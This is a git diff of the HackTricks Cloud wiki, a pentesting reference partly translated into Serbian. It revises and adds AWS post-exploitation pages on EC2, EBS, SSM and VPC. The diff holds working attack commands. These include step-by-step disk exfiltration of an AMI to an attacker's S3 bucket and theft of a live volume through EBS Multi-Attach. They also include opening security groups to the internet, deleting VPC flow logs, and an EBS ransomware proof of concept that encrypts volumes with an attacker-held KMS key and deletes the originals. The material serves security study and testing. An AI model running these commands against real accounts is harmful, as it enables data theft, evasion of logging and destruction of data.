`dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` za praćenje statusa -- Dozvole za čitanje na Kinesis stream-u u vlasništvu napadača za konzumiranje zapisa: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` +- Dozvole za čitanje na Kinesis streamu u vlasništvu napadača za konzumiranje zapisa: `kinesis:*`
PoC (us-east-1) @@ -530,8 +531,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ```
-**Potencijalni uticaj:** Kontinuirana, gotovo u realnom vremenu exfiltration promena u tabeli na attacker-controlled Kinesis stream bez direktnih read operations na tabeli. +**Potential Impact:** Kontinuirano, gotovo u realnom vremenu exfiltration promena u tabeli na Kinesis stream koji kontroliše napadač bez direktnih operacija čitanja na tabeli. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index a0ff4271b..58f8049db 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,7 +4,7 @@ ## EC2 & VPC -Za više informacija proverite: +Za više informacija pogledajte: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,10 +12,10 @@ Za više informacija proverite: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplira dolazni i odlazni saobraćaj za EC2 instance unutar VPC** bez potrebe za instaliranjem bilo čega na samim instancama. Ovaj duplirani saobraćaj bi obično bio poslat nečemu poput sistema za detekciju mrežnih upada (IDS) radi analize i nadgledanja.\ -Napadač bi mogao da iskoristi ovo da uhvati sav saobraćaj i dobije osetljive informacije iz njega: +VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** bez potrebe da se bilo šta instalira na samim instancama. Ovaj duplicirani saobraćaj se obično šalje nečemu poput sistema za detekciju upada u mreži (IDS) radi analize i nadzora.\ +Napadač bi ovo mogao zloupotrebiti da presretne sav saobraćaj i pribavi osetljive informacije iz njega: -Za više informacija proverite ovu stranicu: +Za više informacija pogledajte ovu stranicu: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Međutim, drugi način da se proveri šta sadrži je da **napravite AMI i pokrenete novu instancu (čak i u svom nalogu) iz nje**: +Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe u njih (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Međutim, drugi način da proverite šta sadrže je da **kreirate AMI i pokrenete novu instancu (čak i na svom nalogu) iz nje**: ```shell # List instances aws ec2 describe-images @@ -49,20 +49,84 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots su backup-ovi volumena**, koji obično sadrže **osetljive informacije**, stoga njihovo proveravanje može otkriti te informacije.\ -Ako pronađete **volumen bez snimka**, možete: **Kreirati snimak** i izvršiti sledeće radnje ili jednostavno **montirati ga u instancu** unutar naloga: +**Snapshots su rezervne kopije volume-a**, koje obično sadrže **osetljive informacije**, zato njihova provera treba da otkrije te informacije.\ +Ako pronađete **volume without a snapshot** možete: **Create a snapshot** i izvršiti sledeće radnje ili jednostavno **mount it in an instance** unutar naloga: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} +### Covert Disk Exfiltration via AMI Store-to-S3 + +Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Ovo omogućava potpunu offline forenziku ili krađu podataka bez deljenja snapshot-a, ostavljajući instance networking netaknutim. + +{{#ref}} +aws-ami-store-s3-exfiltration.md +{{#endref}} + +### Live Data Theft via EBS Multi-Attach + +Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Korisno kada victim volume već ima Multi-Attach omogućen u istoj AZ. + +{{#ref}} +aws-ebs-multi-attach-data-theft.md +{{#endref}} + +### EC2 Instance Connect Endpoint Backdoor + +Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Daje brze puteve lateralnog kretanja bez otvaranja javnih portova. + +{{#ref}} +aws-ec2-instance-connect-endpoint-backdoor.md +{{#endref}} + +### EC2 ENI Secondary Private IP Hijack + +Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Omogućava zaobilaženje internih ACLs ili SG pravila vezanih za specifične adrese. + +{{#ref}} +aws-eni-secondary-ip-hijack.md +{{#endref}} + +### Elastic IP Hijack for Ingress/Egress Impersonation + +Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. + +{{#ref}} +aws-eip-hijack-impersonation.md +{{#endref}} + +### Security Group Backdoor via Managed Prefix Lists + +If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself. + +{{#ref}} +aws-managed-prefix-list-backdoor.md +{{#endref}} + +### VPC Endpoint Egress Bypass + +Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration. + +{{#ref}} +aws-vpc-endpoint-egress-bypass.md +{{#endref}} + +### VPC Flow Logs Cross-Account Exfiltration + +Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance. + +{{#ref}} +aws-vpc-flow-logs-cross-account-exfiltration.md +{{#endref}} + ### Data Exfiltration #### DNS Exfiltration -Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može izaći, još uvek može **izvršiti exfiltraciju putem DNS-a**. +Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. -- **VPC Flow Logs neće ovo zabeležiti**. +- **VPC Flow Logs will not record this**. - Nemate pristup AWS DNS logovima. - Onemogućite ovo postavljanjem "enableDnsSupport" na false sa: @@ -70,32 +134,33 @@ aws-ebs-snapshot-dump.md #### Exfiltration via API calls -Napadač može pozvati API krajnje tačke naloga koji kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrirane podatke u Cloudtrail logovima. +An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. ### Open Security Group -Možete dobiti dalji pristup mrežnim uslugama otvaranjem portova na sledeći način: +Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova na sledeći način: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Moguće je pokrenuti EC2 instancu i registrovati je za korišćenje u pokretanju ECS instanci, a zatim ukrasti podatke iz ECS instanci. +Moguće je pokrenuti EC2 instancu i registrovati je da se koristi za pokretanje ECS instanci, a zatim ukrasti podatke sa ECS instanci. -Za [**više informacija proverite ovo**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +Za [**više informacija pogledajte ovo**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### Remove VPC flow logs +### Uklonite VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -Required permissions: +Zahtevane dozvole: - `ssm:StartSession` -Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može zloupotrebiti za preusmeravanje sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija gde je ovo korisno je preusmeravanje sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS klaster. +Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može zloupotrebiti za pivoting sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. +Jedan od scenarija gde je ovo korisno je pivoting sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS cluster. > Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -104,42 +169,42 @@ Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Dobijte privremene akreditive za Bastion EC2 AWS pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skripte -4. Prenesite akreditive na svoju mašinu u `$HOME/.aws/credentials` datoteci kao `[bastion-ec2]` profil +3. Preuzmite privremene AWS kredencijale za Bastion EC2 pomoću skripte [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +4. Prebacite kredencijale na sopstvenu mašinu u fajl `$HOME/.aws/credentials` kao profil `[bastion-ec2]` 5. Prijavite se na EKS kao Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Ažurirajte polje `server` u datoteci `$HOME/.kube/config` da pokazuje na `https://localhost` +6. Ažurirajte polje `server` u datoteci `$HOME/.kube/config` da pokazuje na `https://localhost` 7. Kreirajte SSM tunel na sledeći način: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Saobraćaj iz `kubectl` alata se sada prosleđuje kroz SSM tunel putem Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svog računara pokretanjem: +Saobraćaj sa alata `kubectl` je sada prosleđen kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS clusteru sa svoje mašine pokretanjem: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Napomena da će SSL veze propasti osim ako ne postavite `--insecure-skip-tls-verify` zastavicu (ili njen ekvivalent u K8s alatima za reviziju). S obzirom na to da je saobraćaj tunelovan kroz sigurni AWS SSM tunel, zaštićeni ste od bilo kakvih MitM napada. +Imajte na umu da će SSL konekcije propasti osim ako ne postavite `--insecure-skip-tls-verify ` flag (ili njegov ekvivalent u K8s audit alatima). Pošto se saobraćaj tuneluje kroz siguran AWS SSM tunnel, zaštićeni ste od bilo koje vrste MitM napada. -Na kraju, ova tehnika nije specifična za napad na privatne EKS klastere. Možete postaviti proizvoljne domene i portove da se prebacite na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju. +Na kraju, ova tehnika nije specifična samo za napad na privatne EKS klastere. Možete podesiti proizvoljne domene i portove kako biste se povezali sa bilo kojom drugom AWS uslugom ili prilagođenom aplikacijom. --- -#### Brzo lokalno ↔️ daljinsko prosleđivanje portova (AWS-StartPortForwardingSession) +#### Brzo lokalno ↔️ udaljeno Port Forward (AWS-StartPortForwardingSession) -Ako vam je potrebno da prosledite **jedan TCP port sa EC2 instance na vaš lokalni host**, možete koristiti `AWS-StartPortForwardingSession` SSM dokument (nije potreban parametar daljinskog hosta): +Ako treba da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host** možete koristiti `AWS-StartPortForwardingSession` SSM dokument (nije potreban parametar udaljenog hosta): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i odabranog porta (`portNumber`) na instanci **bez otvaranja bilo kakvih pravila za ulazne Security-Group**. +Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i izabranog porta (`portNumber`) na instanci **bez otvaranja bilo kojih ulaznih Security-Group pravila**. Uobičajeni slučajevi upotrebe: -* **Ekstrakcija fajlova** -1. Na instanci pokrenite brzi HTTP server koji pokazuje na direktorijum koji želite da ekstraktujete: +* **File exfiltration** +1. Na instanci pokrenite kratak HTTP server koji pokazuje na direktorijum koji želite da exfiltrate: ```bash python3 -m http.server 8000 @@ -151,7 +216,7 @@ python3 -m http.server 8000 curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Pristupanje internim web aplikacijama (npr. Nessus)** +* **Pristupanje unutrašnjim web aplikacijama (npr. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -159,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Savjet: Kompresujte i enkriptujte dokaze prije nego što ih izvučete kako CloudTrail ne bi zabeležio sadržaj u čistom tekstu: +Savet: Kompresujte i enkriptujte dokaze pre exfiltrating-a tako da CloudTrail ne beleži clear-text content: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` -### Podelite AMI +### Deljenje AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Pretraživanje osetljivih informacija u javnim i privatnim AMI-ima +### Pretražite osetljive informacije u javnim i privatnim AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat dizajniran za **pretraživanje osetljivih informacija unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljanih AMI-a, montiranja njihovih volumena i skeniranja za potencijalne tajne ili osetljive podatke. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat dizajniran da **pretražuje osetljive informacije unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instances iz ciljnih AMIs, montiranja njihovih volumes i skeniranja za potencijalne secrets ili osetljive podatke. -### Podeli EBS Snapshot +### Podelite EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Dokaz koncepta sličan demonstraciji Ransomware prikazanoj u beleškama o post-exploitation za S3. KMS bi trebao biti preimenovan u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga. +Proof of concept sličan Ransomware demonstraciji prikazanoj u S3 post-exploitation beleškama. KMS treba preimenovati u RMS (Ransomware Management Service) s obzirom na to koliko je lako koristiti ga za enkriptovanje različitih AWS servisa. -Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji korisnik upravlja u KMS. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim' i pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption' +Prvo iz 'attacker' AWS naloga, kreirajte customer managed key u KMS. Za ovaj primer pustićemo da AWS upravlja podacima ključa, ali u realističnom scenariju malicious actor bi zadržao podatke ključa van AWS kontrole. Promenite key policy da dozvoli bilo kom AWS account Principal-u da koristi ključ. Za ovu key policy, ime naloga je bilo 'AttackSim', a policy pravilo koje dozvoljava potpuni pristup se zove 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -272,7 +337,7 @@ Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji korisnik upravlja u KMS ] } ``` -Pravila politike ključa treba da imaju omogućene sledeće stavke kako bi se omogućila upotreba za enkripciju EBS volumena: +The key policy правило мора имати омогућене следеће ставке да би се могло користити за encrypt EBS волумен: - `kms:CreateGrant` - `kms:Decrypt` @@ -280,21 +345,21 @@ Pravila politike ključa treba da imaju omogućene sledeće stavke kako bi se om - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Sada, sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koji ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. EBS volumeni ovog 'žrtvinog' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama AWS-a. +Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije povezanih EBS volumena koristeći snimke, koristiti javno dostupni ključ iz 'napadačkog' računa za enkripciju novih EBS volumena, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, a zatim konačno obrisati snimke korišćene za kreiranje novonastalih enkriptovanih EBS volumena. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Slično S3 ransomware примеру. Овај напад ће направити копије attached EBS волумена користећи snapshots, искористити јавно доступан key из 'attacker' налога да encrypt нове EBS волумене, затим detach-овати оригиналне EBS волумене са EC2 инстанци и обрисати их, и на крају обрисати snapshot-ове који су коришћени за креирање ново encrypt-ованих EBS волумена. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -To rezultira time da su u računu ostali samo enkriptovani EBS volumeni. +Као резултат, у налогу остају доступни само encrypted EBS волумени. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Takođe je važno napomenuti da je skripta zaustavila EC2 instance kako bi odvojila i obrisala originalne EBS volumene. Originalni neenkriptovani volumeni su sada nestali. +Врeдно за напоменути: скрипта је зауставила EC2 инстанце да би detach-овала и обрисала оригиналне EBS волумене. Оригинални unencrypted волумени сада више не постоје. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Sledeće, vratite se na politiku ključa u 'napadačkom' računu i uklonite pravilo politike 'Outside Encryption' iz politike ključa. +Zatim se vratite na key policy u 'attacker' nalogu i uklonite 'Outside Encryption' policy rule из key policy-а. ```json { "Version": "2012-10-17", @@ -365,15 +430,15 @@ Sledeće, vratite se na politiku ključa u 'napadačkom' računu i uklonite prav ] } ``` -Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovni' nalog i pokušajte da priključite jedan od novokodiranih EBS volumena. Otkrivaćete da možete da priključite volumen. +Sačekajte trenutak da nova politika ključa postane aktivna. Zatim se vratite na 'victim' account i pokušajte da prikačite jedan od novo-enkriptovanih EBS volumes. Videćete da možete da prikačite volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Ali kada pokušate da zapravo pokrenete EC2 instancu sa kodiranim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključen EBS volumen ne može dekriptovati koristeći ključ, jer politika ključeva više to ne dozvoljava. +Međutim, kada pokušate stvarno da pokrenete EC2 instance sa enkriptovanim EBS volumenom, on će samo neuspešno pokušati i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, jer prikačeni EBS volumen ne može biti dekriptovan pomoću ključa pošto politika ključa više ne dozvoljava to. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovni' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS nalogu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovnom' nalogu. KORISTITE OVU SKRIPTU SAMO U TESTNOM OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC za ransomware na kraju dana. +Ovo je python skript koji se koristi. Prima AWS creds za 'victim' account i javno dostupnu AWS ARN vrednost za ključ koji će biti korišćen za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumes prikačenih na SVE EC2 instance u ciljanom AWS accountu, zatim zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumes, obrisati ih, i na kraju obrisati sve snapshots korišćene tokom procesa. To će ostaviti samo enkriptovane EBS volumes u ciljanom 'victim' accountu. KORISTITE OVAJ SKRIPT SAMO U TEST OKRUŽENJU, ON JE DESTRUKTIVAN I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS key i vratiti ih u originalno stanje preko snapshots, ali želim da vas upozorim da je ovo, na kraju dana, ransomware PoC. ``` import boto3 import argparse @@ -490,8 +555,8 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` -## Reference +## Literatura -- [Pentest Partners – Kako preneti fajlove u AWS koristeći SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md new file mode 100644 index 000000000..a04cb2c0a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md @@ -0,0 +1,137 @@ +# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Summary +Abuse EC2 AMI export-to-S3 to exfiltrate the full disk of an EC2 instance as a single raw image stored in S3, then download it out-of-band. This avoids snapshot sharing and produces one object per AMI. + +## Requirements +- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` on the target instance/AMI +- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation` +- KMS decrypt on the key that protects the AMI snapshots (if EBS default encryption is enabled) +- S3 bucket policy that trusts the `vmie.amazonaws.com` service principal (see below) + +## Impact +- Potpuno offline pribavljanje root diska instance u S3 bez deljenja snapshot-ova ili kopiranja između naloga. +- Omogućava stealth forensics nad credential-ima, konfiguracijom i sadržajem fajl sistema iz eksportovane raw slike. + +## How to Exfiltrate via AMI Store-to-S3 + +- Napomene: +- S3 bucket mora biti u istoj Region kao AMI. +- U `us-east-1`, `create-bucket` ne sme uključivati `--create-bucket-configuration`. +- `--no-reboot` pravi crash-consistent image bez zaustavljanja instance (diskretnije, ali manje konzistentno). + +
+Step-by-step commands +```bash +# Vars +REGION=us-east-1 +INSTANCE_ID= +BUCKET=exfil-ami-$(date +%s)-$RANDOM + +# 1) Create S3 bucket (same Region) +if [ "$REGION" = "us-east-1" ]; then +aws s3api create-bucket --bucket "$BUCKET" --region "$REGION" +else +aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION" +fi + +# 2) (Recommended) Bucket policy to allow VMIE service to write the object +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +cat > /tmp/bucket-policy.json < + +## Primer dokaza + +- `describe-store-image-tasks` prelazi: +```text +InProgress +Completed +``` +- Metapodaci S3 objekta (primer): +```json +{ +"AcceptRanges": "bytes", +"LastModified": "2025-10-08T01:31:46+00:00", +"ContentLength": 399768709, +"ETag": "\"c84d216455b3625866a58edf294168fd-24\"", +"ContentType": "application/octet-stream", +"ServerSideEncryption": "AES256", +"Metadata": { +"ami-name": "exfil-1759887010", +"ami-owner-account": "", +"ami-store-date": "2025-10-08T01:31:45Z" +} +} +``` +- Delimično preuzimanje dokazuje pristup objektu: +```bash +ls -l /tmp/ami.bin +# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin +``` +## Potrebne IAM dozvole + +- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks` +- S3 (na export bucketu): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation` +- KMS: Ako su AMI snapshots šifrovani, dozvoliti `Decrypt` za EBS KMS key koji se koristi za snapshots + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md new file mode 100644 index 000000000..2bc7bd1a1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md @@ -0,0 +1,77 @@ +# AWS - Krađa podataka u realnom vremenu putem EBS Multi-Attach + +{{#include ../../../../banners/hacktricks-training.md}} + +## Sažetak +Zloupotrebite EBS Multi-Attach da čitate sa aktivnog io1/io2 data volumena prikačivanjem istog volumena na instancu pod kontrolom napadača u istoj Availability Zone (AZ). Montiranje deljenog volumena kao read-only daje trenutni pristup fajlovima koji se upotrebljavaju bez kreiranja snapshots. + +## Zahtevi +- Ciljni volume: io1 ili io2 kreiran sa `--multi-attach-enabled` u istoj AZ kao i instanca napadača. +- Dozvole: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` na ciljni volume/instance. +- Infrastruktura: Nitro-based instance types koje podržavaju Multi-Attach (C5/M5/R5 families, etc.). + +## Napomene +- Montirajte kao read-only sa `-o ro,noload` da smanjite rizik od korupcije i izbegnete journal replays. +- Na Nitro instancama EBS NVMe uređaj izlaže stabilan `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` put (pomoć ispod). + +## Pripremite Multi-Attach io2 volume i prikačite ga žrtvi + +Primer (kreirajte u `us-east-1a` i prikačite žrtvi): +```bash +AZ=us-east-1a +# Create io2 volume with Multi-Attach enabled +VOL_ID=$(aws ec2 create-volume \ +--size 10 \ +--volume-type io2 \ +--iops 1000 \ +--availability-zone $AZ \ +--multi-attach-enabled \ +--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \ +--query 'VolumeId' --output text) + +# Attach to victim instance +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf +``` +Na žrtvi, format/mount the new volume i upišite osetljive podatke (ilustrativno): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkfs.ext4 -F "$DEV" +sudo mkdir -p /mnt/shared +sudo mount "$DEV" /mnt/shared +echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt +sudo sync +``` +## Prikačite isti volume na instancu napadača +```bash +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf +``` +## Montiraj samo za čitanje na attacker i pročitaj podatke +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkdir -p /mnt/steal +sudo mount -o ro,noload "$DEV" /mnt/steal +sudo cat /mnt/steal/secret.txt +``` +Očekivani rezultat: Isti `VOL_ID` prikazuje više `Attachments` (victim and attacker) i attacker može da pročita fajlove koje je victim napisao bez kreiranja bilo kakvog snapshota. +```bash +aws ec2 describe-volumes --volume-ids $VOL_ID \ +--query 